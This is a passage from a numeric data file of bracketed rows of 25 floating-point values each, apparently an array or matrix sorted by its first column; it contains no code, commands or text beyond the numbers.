-0.7554808, -0.9421952, 0.32072484, -0.18633052, -0.8834988, 0.5184172, 0.29727708, -0.5181392, 0.23239216, 0.16195482, -0.9718192, 0.5812698, -0.11094616, 0.7166808, -0.6337444, 0.9591592, -0.23021984, -0.10877296, -0.33924056], [-0.959012, -0.34011616, -0.52650352, 0.2134364, -0.56393176, 0.5024224, -0.03612478, 0.4565192, 0.27131596, 0.95199, 0.6891252, -0.4595112, 0.1519522, -0.30010948, 0.8004288, 0.1039358, -0.46724, -0.7270498, 0.4948728, 0.9236574, 0.9328648, -0.48006632, 0.7017384, 0.12834544, 0.72855288], [-0.9535576, -0.3201864, 0.44319424, -0.69630072, 0.17660368, 0.5895712, 0.4348756, -0.981452, 0.7741868, -0.783084, 0.21470548, -0.29760992, -0.568004, 0.551064, -0.5693192, -0.4248052, -0.4939174, -0.58251, -0.4861614, -0.7843754, 0.031181216, -0.9306152, 0.58157376, 0.58495384, 0.75431584], [-0.9531312, 0.22482976, -0.59523624, -0.27857968, -0.41356984, 0.5918832, 0.515652, 0.823666, -0.18363216, -0.39645376, -0.7405596, -0.961192, 0.4009604, 0.1956954, -0.555444, -0.2597836, 0.2973368, -0.8591738, 0.09001564, 0.15858912, -0.34748092, 0.5686796, 0.14130696, 0.8928032, 0.65167264], [-0.9418464, -0.980964, 0.62025904, -0.25291768, 0.13050208, 0.32672992, 0.4974544, -0.7846288, 0.5158364, 0.9131612, -0.4608488, -0.20073564, 0.5588864, -0.831102, 0.06427308, -0.4877024, 0.580089, 0.2937172, -0.256883, -0.4429882, -0.10875216, 0.78090456, -0.79746672, -0.90822, -0.22477144], [-0.9395052, -0.64637864, 0.023998736, 0.47291784, 0.09134168, -0.0719098, 0.24616036, 0.7916112, -0.16203292, -0.4294036, -0.6770468, -0.963942, 0.9952812, -0.01107918, 0.662196, 0.2769704, -0.2736684, 0.3628424, -0.3944162, -0.3716688, -0.31675528, -0.8955152, 0.8688128, -0.030312912, 0.05291392], [-0.9360108, -0.23165456, 0.63948984, 0.19036328, 0.45828472, 0.07800876, 0.6874332, 0.08810152, -0.5132528, 0.32035228, -0.5342392, 0.7212668, -0.6316092, -0.6633096, 0.4486356, 0.4673776, -0.6986322, 0.6164082, -0.551999, 0.8097938, -0.7599416, 0.79594672, -0.8358272, 0.49524408, -0.54783616], [-0.9336548, -0.27175728, 0.35847648, 0.9259752, 0.473218, -0.7717316, 0.689996, -0.805308, 0.6304356, -0.80834, 0.23527844, -0.9116188, -0.30941476, -0.4689428, 0.014552812, -0.0319078, 0.6445212, 0.265953, -0.2720864, -0.6549414, -0.9834436, 0.76094856, -0.44675056, 0.29770352, 0.38320944], [-0.9302324, -0.35324544, 0.43949576, -0.13155928, -0.03465412, 0.7558276, -0.19290372, 0.37366728, 0.4709632, 0.8973476, 0.8420712, -0.5662588, -0.4383176, -0.947856, 0.8450744, -0.6530642, 0.2759648, 0.282217, 0.5365504, -0.2083742, 0.5317068, -0.3364812, 0.39677312, 0.919024, 0.49028408], [-0.917218, 0.50269296, -0.44066096, 0.74427096, -0.64214904, 0.71475, -0.7205348, 0.4954304, -0.9121752, 0.760212, -0.96661, 0.6809868, -0.4864452, -0.8009028, -0.6396236, -0.003776524, 0.4304688, -0.7504552, 0.5847504, 0.6168372, 0.9986056, -0.54277424, 0.72328544, -0.056306488, 0.9521024], [-0.9159224, 0.75213184, 0.6460856, -0.005144225, 0.02570024, -0.7529952, 0.38809876, -0.08240028, -0.39875252, 0.4250908, 0.36533712, 0.682244, -0.7486228, 0.18984724, -0.15409776, -0.9618482, 0.4368316, 0.2054904, -0.9953414, 0.789733, 0.7396372, -0.60676024, 0.8795184, 0.38576064, 0.826064], [-0.9148264, 0.9300416, -0.7527628, 0.32260144, -0.8387272, 0.14906964, 0.5972864, 0.25566972, 0.326691, -0.06312632, 0.6844692, 0.785044, -0.620034, -0.30862724, -0.11768248, -0.2435208, 0.6320694, 0.295476, -0.30957, 0.8791256, 0.6789596, -0.8300624, -0.57154192, 0.65708664, -0.016086152], [-0.9053316, -0.8563736, -0.06141856, 0.40743536, 0.58845288, 0.16049932, 0.39294668, -0.36480468, -0.9352596, 0.4544572, -0.3524702, 0.471338, 0.9324904, -0.9710044, -0.5327228, 0.7876974, -0.420972, -0.9888578, -0.07083126, -0.1564783, -0.030657376, -0.27343112, 0.078727744, -0.76768712, -0.72025512], [-0.9037496, -0.16680728, -0.53319968, -0.778814, 0.41653776, -0.1394382, -0.5605244, 0.8401844, 0.37558904, 0.4575608, -0.22443384, -0.9563032, -0.37514716, -0.14655476, 0.37794088, -0.6758684, 0.3794128, 0.9655962, -0.783607, 0.310036, 0.53341, 0.9466584, 0.31778104, -0.7465028, 0.72573216], [-0.9018348, -0.43316176, 0.584134, 0.74180144, 0.66460888, 0.3084276, -0.2204198, -0.13204044, -0.7864988, -0.4377908, -0.28115184, -0.8722732, -0.5104676, -0.6335056, 0.21474212, 0.113473, -0.1291366, -0.7999216, 0.2106506, 0.2042884, 0.05542456, -0.11309648, 0.63314704, -0.31797176, -0.062468296], [-0.9015452, 0.37070896, 0.3666888, -0.61500408, -0.48343368, -0.17740476, 0.9104408, 0.7399056, -0.6431552, -0.2244256, 0.9142972, 0.8771584, 0.20912988, 0.7584196, 0.37086116, -0.8910448, 0.2708108, -0.4435768, -0.013913738, -0.5217744, 0.21408312, -0.9737992, 0.11871536, 0.37106176, -0.5799044], [-0.9001224, -0.968448, 0.14402496, 0.0428602, 0.013695496, 0.8697428, 0.19709028, 0.14302632, 0.16337696, -0.6164664, 0.5305772, 0.23702064, -0.06921296, 0.5168608, 0.624776, 0.022506, 0.7703644, 0.8875468, -0.6972326, 0.2479094, -0.93311, 0.53513464, -0.8955256, -0.9607032, -0.01660316], [-0.8992952, -0.55980936, -0.55571616, -0.947648, -0.58631232, 0.05063916, -0.525412, 0.30697972, 0.8548572, 0.10293112, 0.4667252, -0.38282372, 0.9347596, -0.7113776, 0.3402356, 0.8575134, 0.1165825, 0.7699842, -0.3638912, -0.9090472, -0.945696, 0.79700768, -0.73940896, -0.57071808, -0.035440792], [-0.8974572, -0.9730152, -0.53535176, 0.64472152, 0.6042596, 0.5364084, 0.29612324, -0.2432144, 0.12128712, 0.19819564, 0.23382072, -0.17518772, -0.5668252, 0.90975, 0.9465936, 0.8472734, 0.7153756, 0.307751, -0.4736928, 0.5664274, 0.5812924, 0.16308816, 0.938092, -0.069742368, -0.51356224], [-0.895132, -0.24543312, 0.73587088, 0.17994176, 0.24961536, 0.6767104, -0.4549564, -0.9882756, -0.799642, 0.890702, 0.27368084, -0.8279024, -0.14241176, -0.5300072, 0.6716064, -0.9154214, -0.3403054, 0.8420198, -0.00464537, 0.14058298, 0.5508532, 0.131004, 0.16030456, 0.7342132, -0.50788872], [-0.891258, 0.41236192, 0.8112736, -0.20984056, -0.20264576, 0.07159916, -0.17152756, 0.04794356, -0.031985696, 0.8964204, -0.4000892, -0.2042698, -0.5274516, -0.805218, 0.19189104, 0.749394, -0.2587906, -0.690552, 0.6148842, 0.001650262, -0.3786496, 0.68859944, 0.96552, 0.67846112, 0.9071296], [-0.8866168, -0.75197, 0.6403952, 0.08322424, -0.67890512, 0.7674308, -0.5962048, -0.4541552, 0.919942, 0.4135012, -0.3801518, 0.9518424, -0.964484, -0.668054, 0.7229196, 0.04217888, 0.2465546, -0.9855674, 0.870469, 0.8494152, -0.4861288, 0.65535064, 0.66190656, 0.51353184, 0.19998512], [-0.8790748, 0.2566844, -0.41981504, -0.19070552, 0.72370192, -0.9812316, -0.846546, -0.32667568, -0.5563456, -0.5032124, -0.5522076, 0.031710108, 0.1550996, 0.8571848, 0.05392448, -0.13679288, 0.8453976, -0.6125172, 0.467529, -0.78472, 0.9450644, 0.35151024, -0.27940032, -0.43488176, -0.09514032], [-0.8787052, -0.27361608, -0.63809176, 0.04537528, -0.86748, -0.39195832, -0.9055468, -0.419316, -0.4663868, -0.11336276, -0.57559, 0.4113248, -0.16200892, 0.18145312, 0.6692272, -0.5866028, -0.2068638, 0.918972, -0.611498, 0.9725002, -0.31820956, -0.25421088, 0.55011464, -0.4421088, 0.32619584], [-0.8784596, 0.108482, 0.054269864, -0.371832, -0.36363472, 0.05735536, -0.778988, 0.12655336, 0.8603288, -0.4974216, -0.8160508, 0.25572348, -0.39754496, -0.3254366, 0.7084912, -0.12538396, 0.19145786, 0.7354752, -0.1207768, -0.6445758, -0.2552198, -0.67922632, -0.77539576, -0.71426936, 0.42339992], [-0.8737088, -0.17170712, 0.4601224, 0.8566176, -0.8091528, 0.4524824, -0.8622212, -0.8055, -0.7424936, 0.9390352, 0.35213612, 0.34435456, 0.4371096, 0.4719596, -0.31283984, 0.6332634, -0.19664892, -0.3063964, 0.2995158, 0.5974414, 0.7023008, 0.69914424, 0.6288268, -0.8672632, 0.40706816], [-0.8637284, -0.22113112, 0.28998896, -0.558656, -0.73390648, 0.235703, 0.06848668, -0.7848904, 0.8014012, 0.80594, 0.4023496, 0.7133268, -0.34906048, -0.9697116, -0.5013212, -0.5270508, 0.6266658, 0.09964222, -0.8766892, -0.004976734, -0.7789704, -0.035235696, -0.63049776, 0.6936644, 0.16039408], [-0.8621944, 0.75741024, 0.62237584, -0.69286864, 0.50809888, 0.500504, 0.59606, 0.19113584, -0.37166896, -0.19942584, 0.6306704, 0.18063712, -0.7451828, 0.5183768, 0.905916, -0.6708402, -0.1390702, 0.3599326, 0.7818118, -0.5671206, -0.598772, -0.18981512, -0.964364, 0.1279348, -0.6073032], [-0.8600648, 0.02386592, -0.31024752, -0.46708392, 0.09682696, -0.96583, -0.1586054, 0.5687132, 0.122196, -0.9404108, 0.035257452, 0.08609004, 0.936404, -0.17998884, -0.8088696, -0.9608584, 0.6485344, 0.535321, 0.8017906, -0.2461686, -0.13745648, 0.11523192, 0.3339272, 0.68786152, 0.49171176], [-0.851954, 0.1200168, -0.5486928, 0.8295048, -0.048655184, -0.13025436, 0.8880964, -0.3500266, -0.5765516, 0.818714, -0.5538784, -0.530238, 0.4052684, -0.9330904, 0.4268416, 0.2656738, -0.316833, -0.09538316, -0.6441646, 0.9061462, -0.24658612, -0.021975336, 0.9534392, -0.15473776, -0.08792968], [-0.8482276, 0.61120656, 0.04004712, 0.9965352, -0.49617096, -0.9777884, -0.22260424, 0.29723996, -0.25925736, 0.5784832, -0.020102252, -0.12868, 0.16900952, 0.441024, 0.884688, -0.08922512, 0.4660216, 0.2683298, 0.7740754, -0.706963, 0.26995232, -0.8934544, 0.71013832, 0.42908808, 0.16570448], [-0.8466008, 0.31631888, -0.32421936, 0.13224416, 0.6726476, -0.9202228, 0.6822372, -0.8416796, 0.23616316, -0.30941464, -0.029994336, 0.08007832, 0.26917068, -0.8134364, -0.7293612, -0.15140106, 0.008901256, 0.481465, 0.4154788, -0.16585918, 0.31341892, 0.9575376, 0.1716616, 0.61889384, 0.62454688], [-0.84489, 0.28944272, -0.410826, -0.013215792, 0.8108976, 0.8652352, 0.635778, -0.269613, 0.5007548, -0.27287576, 0.12650332, 0.24350788, 0.9328804, -0.3713814, 0.28044072, 0.3419632, 0.2046352, -0.07066934, -0.8747456, 0.00898436, 0.9786368, 0.79141664, 0.40890016, 0.43475464, -0.34760904], [-0.8442028, 0.48649408, -0.903808, 0.73109328, -0.77979664, -0.8395452, 0.4272284, -0.17998356, 0.08821692, -0.8733212, -0.35786632, -0.35716672, 0.33621804, -0.4987052, 0.5077916, 0.16469678, -0.8633304, -0.873582, 0.294298, 0.1908731, 0.389582, 0.879404, 0.9867368, 0.057346664, -0.8459], [-0.8427308, -0.13869424, 0.78882848, 0.231712, 0.29765816, -0.9465184, 0.6156224, 0.16560312, -0.24474972, -0.9691048, -0.6800432, 0.1516398, -0.1740592, -0.4596392, -0.580822, 0.7879626, 0.9780832, -0.3177498, 0.11224442, -0.9504732, -0.35002604, 0.63910272, -0.52738424, 0.18016824, -0.256032], [-0.8404368, 0.007900994, 0.24604648, -0.60563288, -0.68366872, -0.27549888, 0.797008, 0.323496, 0.8893232, 0.3180644, -0.9818456, 0.5000228, 0.32025496, 0.651504, -0.9730868, -0.1684016, 0.7606856, 0.04660558, -0.6423482, -0.5646504, -0.5651776, 0.000669403, -0.4553132, 0.14897336, 0.52123248], [-0.8376452, 0.905128, -0.79004112, 0.1650404, 0.59376032, 0.01469178, -0.423494, 0.6519884, 0.37060988, -0.9764688, -0.2490786, 0.5408272, 0.7550532, -0.30371068, 0.935558, 0.9406182, -0.08366916, -0.3005484, 0.2611676, -0.5871334, -0.9349844, 0.040142752, 0.65975152, -0.3824936, 0.8650032], [-0.8355584, 0.8281672, 0.36991648, -0.27675264, -0.47083216, 0.5743576, 0.12473668, -0.36808316, -0.5524896, -0.05797876, 0.98876, -0.5356004, 0.17516688, 0.010016824, -0.7206936, -0.5216256, -0.2322438, -0.4698206, -0.3556244, 0.1965072, 0.6117396, 0.05279196, -0.32162584, -0.57781224, 0.8643408], [-0.8348848, -0.51237864, 0.30895976, -0.024226736, 0.07858628, 0.27958536, -0.25396068, -0.9560436, 0.7261716, 0.9412372, -0.9283916, -0.4136416, 0.5727756, 0.37659512, -0.25582672, -0.9998832, -0.7370096, 0.1408348, -0.3810548, 0.14679004, -0.6270552, 0.9444104, 0.23653144, 0.19216472, 0.9383568], [-0.815356, -0.51421856, 0.07907292, -0.47894464, 0.53097552, 0.9207512, 0.9666364, -0.9666164, 0.6139064, -0.8043304, 0.09365144, -0.7955072, 0.6123048, 0.877806, 0.21490552, 0.5129708, 0.2108464, 0.1506593, 0.1154859, -0.999679, -0.4085448, 0.62800912, 0.43350872, 0.72308392, -0.13264888], [-0.8067272, -0.37048984, -0.9168016, -0.33268816, -0.81078, -0.5369968, 0.4775556, -0.3728298, 0.7774424, 0.032786764, -0.9199148, -0.1176484, 0.5285564, -0.1063892, 0.26188676, 0.7759366, -0.14580748, -0.0237604, -0.4438548, -0.8913804, -0.699768, -0.34659896, 0.49563552, 0.71896656, -0.57937872], [-0.7980328, -0.9522288, 0.67390008, 0.3746824, 0.9428664, -0.4316216, 0.218418, -0.942164, -0.7281128, 0.7044188, -0.24465924, -0.38011756, -0.6130284, -0.10730832, 0.9699192, -0.4353618, -0.6154168, -0.7874766, -0.7143518, 0.3842404, 0.5373548, 0.8140808, -0.4806088, -0.5780236, 0.8017592], [-0.7960268, 0.4031184, 0.4323096, -0.77113096, 0.8834424, -0.07246608, 0.9175976, -0.5019984, 0.30464776, -0.4517108, 0.22742316, 0.5902212, 0.31528908, -0.015868844, -0.7838328, 0.7340562, -0.262718, -0.4537372, 0.8631734, -0.6094146, -0.1106156, -0.514904, -0.68819608, -0.28195784, -0.019259488], [-0.7790152, -0.37700904, -0.61121248, -0.18860912, -0.11816024, -0.9229956, 0.1557496, 0.9210944, -0.991054, 0.30786404, -0.7972912, -0.17123852, 0.2556264, -0.4894768, -0.337971, -0.882681, 0.7169998, -0.995132, -0.2541614, 0.5616324, 0.15352748, 0.4512784, -0.16903264, 0.060711368, 0.85792], [-0.7768192, 0.8170888, 0.75700968, -0.93814, -0.15708264, -0.0283991, -0.6256516, -0.8111452, -0.1623698, 0.9199328, -0.38002044, 0.76326, -0.955098, -0.4634024, 0.6714672, 0.943659, -0.16040542, 0.532662, 0.9944372, -0.209184, 0.31977896, -0.14951448, -0.15106, -0.062129824, -0.47644296], [-0.771862, -0.44242696, -0.3161632, 0.41096336, 0.75017968, 0.437102, 0.8925472, -0.4513712, 0.33654488, 0.871344, 0.9126508, 0.6384664, -0.999744, 0.4909828, 0.9841788, 0.8478938, -0.8691858, 0.2640192, 0.4397676, -0.7484574, 0.29472836, -0.45556664, 0.9718752, -0.310304, -0.42144512], [-0.7715652, 0.11651864, -0.29480088, 0.41909416, 0.71083704, -0.8538556, 0.469364, 0.6810112, -0.7860628, 0.7035276, -0.1769604, -0.2751654, 0.31535036, 0.32180336, -0.13602868, -0.6343676, -0.00528743, 0.6134502, -0.2835076, 0.5275658, -0.07759776, 0.3518548, -0.14600472, -0.43344136, 0.36789584], [-0.7677428, -0.66873856, -0.25003896, 0.66394224, 0.58994856, 0.7269372, -0.9374064, 0.5370364, -0.6624884, 0.8348064, -0.12402552, -0.5809828, -0.5958252, 0.5180112, 0.30439384, -0.9273832, 0.17530704, 0.3923108, -0.4959522, 0.7883386, -0.532122, 0.32967088, -0.19613688, 0.18821456, 0.51291016], [-0.7675592, -0.18748048, -0.71686504, -0.61743712, -0.77112072, 0.4073536, -0.13638788, -0.6835004, -0.017528116, -0.2163496, -0.029308856, 0.21000368, 0.32145084, -0.5556892, 0.7675244, 0.8367202, 0.419422, 0.1873735, 0.16339208, -0.3751808, -0.26341772, 0.21212736, -0.8440624, 0.82718, -0.022741448], [-0.749346, 0.055332864, -0.5604896, -0.59717672, -0.72054832, 0.32979796, 0.7318056, -0.19342856, 0.4864028, -0.0530556, -0.6502668, 0.9180884, -0.25588672, 0.4213216, 0.8905676, -0.07310936, -0.1786823, -0.5495282, 0.9255658, 0.08229248, 0.20981952, -0.15066064, 0.456006, 0.85658, 0.8328832], [-0.7438392, 0.66770248, -0.8643448, -0.34287776, -0.816276, -0.486104, -0.10835032, 0.7404216, 0.750536, -0.029458692, 0.3728994, 0.746444, 0.32734324, -0.438092, -0.8378504, -0.4660382, 0.3762896, 0.02545314, 0.2495606, -0.6959134, -0.13711772, 0.47446152, 0.30212248, 0.6104088, -0.13107064], [-0.7416472, 0.40747472, -0.4899924, 0.70081968, -0.64379928, 0.8574216, -0.4498808, -0.5399188, -0.4895756, -0.9484316, -0.5995684, -0.9819696, 0.18565412, -0.15013764, 0.9274056, -0.3595806, 0.8465138, 0.586992, -0.506378, -0.8054726, -0.04828456, -0.78002672, 0.8252992, -0.55683904, 0.75194576], [-0.7408352, -0.1252196, 0.34848416, 0.5955764, -0.56463864, -0.08127228, -0.5667536, -0.8589672, -0.8882016, 0.10083176, 0.6540832, -0.5639004, -0.8428128, -0.8088436, -0.7663948, 0.4134828, 0.14706878, -0.5240152, -0.087221, 0.9348938, -0.6199444, -0.74043288, -0.9333168, -0.20007624, -0.39448184], [-0.7390788, -0.62627584, -0.22873472, 0.9008888, 0.8099352, 0.32168936, 0.114362, -0.873278, -0.4502132, 0.8911064, 0.9040744, -0.1528828, 0.7611792, 0.387475, 0.17702108, -0.4091736, -0.9410396, 0.19915162, -0.5171976, -0.73586, -0.38113092, -0.42553448, -0.68373168, 0.21620048, -0.33753576], [-0.7376992, -0.7663244, 0.70418384, 0.49370984, -0.2415536, -0.8666664, 0.09642552, -0.5831628, -0.4644064, 0.12243612, 0.4388284, 0.434028, 0.27144532, -0.4917292, 0.7785808, -0.013304348, -0.6815852, -0.707685, 0.8712222, 0.5112174, 0.8120828, 0.8413328, -0.8270928, -0.78629096, 0.63523984], [-0.7329844, 0.11811656, -0.51307536, -0.2821804, 0.53071112, 0.13209288, -0.17842008, 0.02990292, 0.20958948, 0.11252512, 0.37103604, -0.58013, -0.9710928, -0.5853688, 0.001094207, -0.9741942, -0.5634174, -0.846164, 0.8363136, -0.5108704, 0.9977292, 0.55704184, -0.8636, 0.77589576, -0.78939184], [-0.7324908, 0.53377304, 0.033573136, -0.8407056, 0.64309016, -0.7055828, -0.8162456, -0.7641244, 0.24595248, 0.5196384, 0.38981696, 0.567256, 0.6703656, 0.6914736, -0.8218136, -0.5649984, -0.5256274, -0.6107508, -0.4779708, 0.18436942, 0.6353012, -0.41492272, -0.987916, -0.1477264, 0.72346792], [-0.729052, 0.72157184, 0.066417448, 0.51655296, -0.16441016, 0.4787304, 0.9584624, 0.8776636, -0.31409988, 0.8077672, -0.11502456, 0.006626928, 0.4410752, 0.6556108, -0.8027652, -0.13926176, -0.9018598, -0.5879802, 0.5655134, 0.7902824, -0.28160032, 0.76019184, -0.5546768, -0.4329952, -0.9627304], [-0.7283508, -0.224658, -0.77200424, 0.36615704, 0.4774252, 0.8275276, -0.9640624, -0.8951176, -0.6085136, -0.5104308, -0.7844152, -0.8470492, -0.8170964, -0.23323752, 0.503328, 0.2611808, -0.8042712, 0.7675682, 0.6752738, -0.524654, 0.7953544, -0.75277952, -0.51164392, -0.65117296, -0.071913264], [-0.7234292, 0.59654384, -0.65628992, -0.5178844, 0.52860056, -0.21654304, 0.9463412, -0.10414776, 0.4147972, 0.24779428, -0.5873928, 0.6068592, -0.495486, -0.1183924, 0.812578, 0.6892092, 0.3527492, -0.706458, 0.2449776, -0.12970486, -0.4835968, -0.12299304, -0.9982288, -0.73006376, 0.31765296], [-0.720552, -0.09033296, -0.68376368, 0.50527432, -0.23690448, 0.11248216, 0.5138056, -0.5702172, -0.011352892, 0.24776616, -0.9439116, 0.27090636, -0.7524828, 0.20096804, 0.07174724, 0.384875, 0.07819688, 0.5125202, 0.14650818, -0.19380692, 0.4743352, -0.8039656, -0.34095416, -0.52317944, 0.854], [-0.70657, -0.9909024, 0.15508952, 0.22221712, -0.72638272, -0.9496884, -0.08128896, 0.6842752, -0.9931228, 0.449018, 0.6536716, -0.04810396, 0.6571504, 0.019490588, -0.5051992, 0.11858564, -0.13155986, -0.7328058, 0.776212, 0.5886384, -0.5996068, -0.027518296, 0.863528, 0.9506864, -0.70824512], [-0.7062028, -0.35895624, 0.16479624, 0.79272376, 0.46981976, 0.36350748, -0.448952, -0.6494916, 0.876708, 0.8553256, 0.9760064, -0.4311316, -0.9039836, 0.729482, -0.5526784, 0.7795792, -0.234936, 0.07159028, 0.460723, -0.5104328, -0.18775632, 0.006418193, -0.41776144, 0.34280672, 0.905992], [-0.6968224, -0.818192, -0.73817584, -0.76153656, -0.61606856, 0.2314406, -0.639676, 0.6162408, 0.5466236, -0.33785416, 0.31139944, -0.5727504, 0.13047652, -0.9311892, -0.35625716, 0.7278722, -0.9342358, -0.7641484, 0.2491168, -0.5234016, -0.04371536, -0.33239848, -0.3083264, 0.9212808, 0.03704004], [-0.696184, 0.9471392, -0.8251128, -0.16582136, 0.9316272, -0.4241152, 0.21823984, 0.307372, -0.24253612, -0.32674792, -0.35387548, -0.5549168, -0.4389512, -0.8348928, 0.04898252, 0.7871224, -0.07005384, 0.4041674, 0.7950062, 0.3522344, -0.10175136, 0.51276304, -0.74794344, -0.73269104, -0.1239728], [-0.6957888, 0.8720712, -0.9913016, 0.075367056, -0.32159376, -0.4742748, 0.5756844, -0.08187064, 0.9065696, 0.18528812, -0.8076976, 0.5649508, -0.8124728, -0.09161396, -0.36625524, 0.925689, 0.4377082, -0.12559474, 0.788199, 0.9251578, 0.03393454, -0.24158432, 0.30393696, -0.8305848, -0.170402], [-0.6936896, 0.9496744, -0.9852288, -0.60929352, -0.909064, 0.008384836, -0.7987052, 0.14677024, -0.4874424, -0.996744, -0.975824, 0.31426396, 0.034993116, 0.6546984, 0.907428, -0.7415632, 0.8323022, -0.15117778, 0.5494802, 0.922689, -0.21910656, -0.32989136, 0.9074832, -0.3506756, 0.79924656], [-0.6899652, -0.21417016, -0.42429704, 0.94076, -0.23093904, -0.8928392, -0.5424148, 0.7564508, -0.4644868, 0.24560252, -0.1424238, 0.037742624, -0.35159584, 0.6689512, 0.9742676, 0.527897, 0.7976742, -0.7892456, -0.2195702, -0.02268674, 0.39503384, -0.9358208, 0.9960512, -0.43239952, -0.11976936], [-0.6842824, -0.66560672, -0.72794376, 0.60699824, -0.77811304, -0.603752, 0.28216976, 0.26625516, 0.8080684, 0.4169904, -0.014095284, 0.16614908, 0.3564904, 0.5963684, 0.916648, 0.04124662, -0.08947128, -0.11986784, 0.005206224, 0.16157678, 0.494258, -0.74189464, 0.17030592, -0.921488, -0.8187608], [-0.6813772, -0.74723616, 0.8488976, 0.33949856, 0.12609056, 0.8331528, 0.17852904, 0.6546072, -0.33357824, 0.6989888, 0.20209684, 0.6149312, -0.3572928, -0.05819624, -0.06784004, 0.2784212, 0.9806398, 0.538718, 0.5583576, 0.4302688, -0.18146696, -0.50770192, 0.09387008, 0.00043334, -0.34959272], [-0.6799432, 0.3580248, -0.43760408, -0.9293952, 0.135592, -0.5840156, 0.8293628, 0.07348244, -0.6428624, -0.2955938, -0.7468404, -0.6599868, -0.677914, 0.965388, -0.10677004, 0.784798, 0.3213798, -0.5789356, -0.763033, 0.8351574, 0.32196112, -0.15441728, 0.26703848, -0.48154488, -0.08545624], [-0.6622072, 0.76554496, -0.2498196, 0.16284688, 0.28749928, 0.9746924, 0.4351936, -0.07677896, 0.6543684, 0.36817156, 0.13415428, 0.4783516, 0.016146616, -0.6647704, 0.6719552, 0.5288946, 0.9423538, -0.09486848, 0.2923292, 0.8792118, 0.14033888, 0.30108616, 0.58652768, 0.57966536, 0.9832472], [-0.6608064, 0.14772352, -0.8982976, 0.59289544, -0.360868, 0.25508872, -0.47068, 0.6101092, -0.22270672, -0.027832356, 0.11527348, 0.006460224, 0.19505224, 0.5083544, -0.25782076, -0.73083, 0.5941394, -0.5136524, -0.007455558, -0.518573, 0.4985848, -0.72231632, 0.60502488, -0.20631616, 0.4117532], [-0.6564068, -0.8735424, 0.2732104, -0.53249192, 0.32681384, 0.8556848, 0.9377668, -0.5576752, 0.702164, 0.23124108, 0.10493504, -0.9998312, -0.16378256, -0.9037568, 0.19521068, -0.010764456, 0.5468736, 0.9993772, 0.8613974, -0.5724148, 0.51733, 0.68905112, 0.54831576, 0.64468304, -0.08335856], [-0.653878, 0.45734344, -0.48578096, 0.911452, 0.8606024, -0.816644, 0.8487512, -0.39375372, -0.21253576, -0.6054564, 0.9840204, -0.4578012, 0.7067516, -0.04390444, -0.4467884, -0.527955, 0.07329634, -0.985259, -0.5205998, 0.6416968, 0.5201492, 0.2194636, -0.891752, 0.16493736, -0.35187792], [-0.649748, 0.9162216, -0.29185896, -0.6278908, -0.905708, 0.28196472, -0.81354, 0.9874712, -0.8604604, 0.8639628, -0.9243176, -0.14151592, 0.9595956, 0.32031504, -0.30009336, 0.17412108, 0.2125744, -0.269332, -0.0128547, 0.2843404, -0.8430208, -0.75462736, -0.029697552, 0.20235344, 0.2154252], [-0.6494904, 0.68503712, -0.52886384, 0.5280344, 0.8230488, -0.21698828, 0.9368636, 0.9013488, 0.4188828, 0.21061352, 0.25649688, -0.4180124, -0.22396004, -0.5893112, 0.9024332, 0.459914, -0.2679762, -0.2259096, -0.09692884, 0.07915564, 0.6528888, 0.4730896, 0.15513088, 0.08419056, -0.253116], [-0.6477716, -0.64587584, 0.39943224, 0.46602504, 0.1647644, -0.08632932, -0.5949752, -0.6151072, 0.19779232, 0.7075232, -0.24252316, -0.7465228, 0.10420968, 0.817642, 0.4334516, 0.8527342, -0.6080776, 0.06086184, 0.4525178, 0.377614, -0.039810716, -0.75962208, -0.72970752, -0.20134312, 0.50105584], [-0.6455824, 0.8178488, 0.15047824, 0.1192516, -0.8876512, -0.07104928, 0.8382644, 0.22457224, 0.22858436, -0.450606, 0.11128428, 0.6080032, 0.014450276, 0.3642388, 0.4074536, -0.6528998, 0.677533, -0.6198808, -0.8839294, 0.8876738, 0.15390192, -0.13744744, 0.59956968, 0.5673884, -0.61369864], [-0.637856, -0.9822056, 0.067404512, -0.52446048, -0.39874688, -0.9175348, -0.970262, 0.3231542, 0.23380676, 0.17589824, 0.4658296, -0.31207264, -0.6636632, -0.7399648, 0.5314388, 0.8828788, -0.9452626, 0.6173942, 0.491212, -0.9006292, 0.07012268, 0.8803064, -0.9814192, -0.59790928, 0.45349504], [-0.6328532, -0.5053424, -0.37114336, 0.61776096, 0.026146328, 0.576854, 0.269078, 0.8733068, 0.31266264, 0.5010184, -0.4559596, -0.09887196, -0.512898, -0.518912, 0.8594444, 0.16435376, -0.4392078, 0.3914976, -0.7313938, -0.03034974, 0.6042248, -0.73038696, 0.5064144, -0.060164448, 0.066405888], [-0.6326484, 0.75630544, -0.54340688, 0.62892496, 0.049490888, 0.26493548, 0.26684088, -0.3457552, -0.37678036, 0.0261113, 0.6358292, 0.5406256, 0.2023044, -0.4743196, -0.38737792, -0.13133718, -0.9586012, 0.9222558, 0.9910912, -0.208235, 0.031227004, 0.7133444, -0.16355976, 0.08967944, -0.46372872], [-0.6287684, -0.39531888, -0.53970512, 0.71605072, 0.32745336, 0.18834952, -0.37122744, -0.9411672, 0.14053348, 0.7505652, -0.8936448, 0.2818088, -0.6644316, 0.7579476, -0.7797008, 0.7108028, 0.2696052, -0.9239754, 0.80311, -0.454904, -0.9329976, -0.8886864, 0.9877888, 0.37185224, -0.3014224], [-0.6258996, 0.40846752, -0.32835392, -0.09087312, 0.63017824, -0.4315328, 0.8686348, 0.9911444, -0.6357028, 0.5031724, -0.211242, 0.6323728, 0.578674, 0.5084948, 0.31914868, -0.7176254, -0.2951428, -0.891053, 0.18251376, -0.8275114, 0.6772284, 0.079011128, -0.4212436, 0.69209056, -0.059317792], [-0.6217496, 0.77934248, 0.55279848, -0.65906072, -0.949332, -0.6640368, -0.36646024, 0.9821528, -0.9827308, -0.7827076, 0.2755396, -0.27623048, 0.5218768, 0.3905788, 0.35363244, -0.017592622, 0.2930492, 0.9719176, 0.5688828, 0.18237948, 0.7661428, 0.35273552, -0.77983304, -0.902356, 0.0183568], [-0.62074, 0.24944536, 0.373424, 0.47760672, -0.5527728, -0.959726, 0.8035448, -0.6809428, 0.4181552, -0.9308852, 0.555262, -0.35610936, 0.7436904, 0.6603196, -0.750764, 0.9624908, 0.8984194, 0.994279, 0.3560708, -0.5031044, 0.36563892, -0.51240968, 0.19930192, -0.19210992, 0.57992928], [-0.6177924, -0.49444128, 0.08376848, -0.22593288, -0.53114824, -0.601094, -0.33270504, -0.8651076, -0.8419904, 0.07736168, 0.32947328, -0.10941604, -0.4506924, 0.4863224, -0.542696, -0.3071158, -0.12255062, 0.3951874, -0.2282402, 0.08158038, 0.8793872, 0.55452904, 0.41826056, -0.74627576, 